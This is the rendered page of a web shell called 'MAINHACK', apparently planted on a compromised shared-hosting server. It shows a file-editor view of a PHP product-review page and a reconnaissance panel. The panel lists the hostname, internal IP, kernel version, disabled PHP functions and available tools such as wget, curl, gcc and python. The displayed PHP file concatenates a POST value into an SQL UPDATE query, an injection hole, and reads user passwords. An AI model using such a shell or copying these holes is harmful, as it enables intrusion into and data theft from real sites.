[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: given-reviews.php
<!-- Header include --> <?php include("header.php"); $uid=base64_decode($_REQUEST['uid']); $pid=base64_decode($_REQUEST['pid']); if($_SESSION['user_id']==''){header("location:index.php"); } $stmt1=$show->readwithdata('user','user_id',$_SESSION['user_id']); $num1=$stmt1->rowCount(); if($num1>0){ while($row=$stmt1->fetch(PDO::FETCH_ASSOC)){ $uname=$row['name']; $uphone=$row['phone']; $uemail=$row['email']; $upassword=$row['password']; $usex=$row['sex']; $ustate=$row['state']; $ucity=$row['city']; $uaddress=$row['address']; $upincode=$row['pincode']; } } $sq1=$show->readwithdata('product','product_id',$pid); while($row1=$sq1->fetch(PDO::FETCH_ASSOC)){ $rtotal=$row1['review_total_num']; $rating=$row1['review_num']; } ?> <!-- given-reviews --> <div class="given-reviews"> <div class="container"> <div class="page-TITLE"> <h2>Give Your Reviews</h2> </div> </div> </div> <div class="reviews-container"> <div class="container"> <div class="w3_login_module1"> <div class="module form-module" style="max-width:100% !important; margin-top:0;"> <div class="form"> <form method="post"> <span class="RatingGive">Rating - </span> <div class="rate"> <input type="radio" id="star5" name="rating" value="5" required/> <label for="star5" title="text">5 stars</label> <input type="radio" id="star4" name="rating" value="4" required/> <label for="star4" title="text">4 stars</label> <input type="radio" id="star3" name="rating" value="3" required/> <label for="star3" title="text">3 stars</label> <input type="radio" id="star2" name="rating" value="2" required/> <label for="star2" title="text">2 stars</label> <input type="radio" id="star1" name="rating" value="1" required/> <label for="star1" title="text">1 star</label> </div> <input type="text" name="name" readonly value="<?=$uname?>" placeholder="Name *"> <input type="text" name="phone" readonly value="<?=$uphone?>" placeholder="Phone *"> <input type="text" name="email" readonly value="<?=$uemail?>" placeholder="Email *"> <input type="hidden" name="uid" value="<?=$_SESSION['user_id']?>"> <input type="hidden" name="product_id" value="<?=$pid?>"> <textarea name="review" required="" placeholder="Share your experience with us *"></textarea> <input type="submit" name="rev" value="Post your Review" class="btn btn-success"> </form> <?php if(isset($_POST['rev'])){ $data=array( 'name'=>$_POST['name'], 'email'=>$_POST['email'], 'review'=>$_POST['review'], 'rating'=>$_POST['rating'], 'user_id'=>$_POST['uid'], 'status'=>'Not-Published', 'date'=>date('Y-m-d'), 'product_id'=>$_POST['product_id'], ); $r=$show->insert('review',$data); // print_r($data); if($r){ if($rating==0){ $rt=$_POST['rating']; $rating_num=($rt)/1; }else{ $rt=($_POST['rating']+$rtotal); $rating_num=($rt)/($rating+1); } $sq1="update product set review_num=review_num+1,review_total_num=$rt,rating_num=".$rating_num." where product_id='".$_POST['product_id']."' "; // echo $sq1; $s1=$con->prepare($sq1); $s1->execute(); echo '<script> setTimeout(function() { swal({ title: "OK!", text: "Your review has been posted.Thank you for your time.", type: "success" }, function() { window.location = "review.php?pid='.$_REQUEST['pid'].'"; }); }, 1000); </script>'; } } ?> </div> </div> </div> </div> </div> <style> .w3_login_module1 { position: relative; width: 35%; overflow: hidden; background: #fff; border-radius: 15px; text-align: center; margin: 20px auto 100px; border: 1px solid #6b07bf45; box-shadow: 4px 4px 2px #2d064d0d; } .w3_login_module1 form { padding: 25px 14px; border-radius: 10px; display: inline-block; margin: 0; } .w3_login_module1 form input[type="text"] { width: 100%; padding: 5px 10px; margin: 30px 0 0; outline: none; display: inline-block; border: 1px solid #5c0d9d36; background: #fff; box-shadow: 4px 4px 2px #2d064d0d; color: #000; border-radius: 5px; font-size: 18px;} .w3_login_module1 form input[type="email"] { width: 100%; padding: 5px 10px; margin: 30px 0 0; outline: none; display: inline-block; border: 1px solid #5c0d9d36; background: #fff; box-shadow: 4px 4px 2px #2d064d0d; color: #000; border-radius: 5px; font-size: 18px;} .w3_login_module1 form input[type="submit"]{ font-size: 16px; line-height: 18px; width: 40%; display: inline-block; background: #492a62; color: #fff; padding: 10px 0; text-align: center; box-shadow: 3px 3px 10px #ffffff5c; margin: 30px auto 0; border: 0.5px solid #b2b2b2; transition: all 400ms ease-in-out; display: block; border-radius: 10px; box-shadow: 4px 4px 2px #3805621a; } .w3_login_module1 form textarea { width: 100%; padding: 5px 10px; margin: 30px 0 0; outline: none; display: inline-block; border: 1px solid #5c0d9d36; background: #fff; box-shadow: 4px 4px 2px #2d064d0d; color: #000; border-radius: 5px; font-size: 18px;} .rate { float: left; height: 45px; padding: 0; width: 100%; } .rate span{width: 50%; float: left; text-align: left; font-family: 'Croissant One', cursive; font-size: 16px; line-height: 45px; padding: 0 0 0 20px; color: #5b0507e3;} span.RatingGive{ text-align: left; font-size: 25px; line-height: 45px; padding: 0; color: #4f3267; position: absolute; left: 14px; top: 32px; font-weight: bold; letter-spacing: 0.6px; } .rate:not(:checked) > input { position:absolute; top:-9999px; } /*.rate:not(:checked) > label {*/ /* float: right;*/ /* width:1em;*/ /* overflow:hidden;*/ /* white-space:nowrap;*/ /* cursor:pointer;*/ /* font-size:30px;*/ /* color:#ccc;*/ /*}*/ .rate:not(:checked) > label { float: right; width: 66px; overflow: hidden; white-space: nowrap; cursor: pointer; font-size: 15px; color: #adadad; margin: 18px 5px 0 0px; font-weight: 600; } .rate:not(:checked) > label:before { content: '★ '; } .rate > input:checked ~ label { color: #bf079a; } .rate:not(:checked) > label:hover, .rate:not(:checked) > label:hover ~ label { color: #97057a; } .rate > input:checked + label:hover, .rate > input:checked + label:hover ~ label, .rate > input:checked ~ label:hover, .rate > input:checked ~ label:hover ~ label, .rate > label:hover ~ input:checked ~ label { color: #db2cff; } </style> <?php include('footer.php');?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.54 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619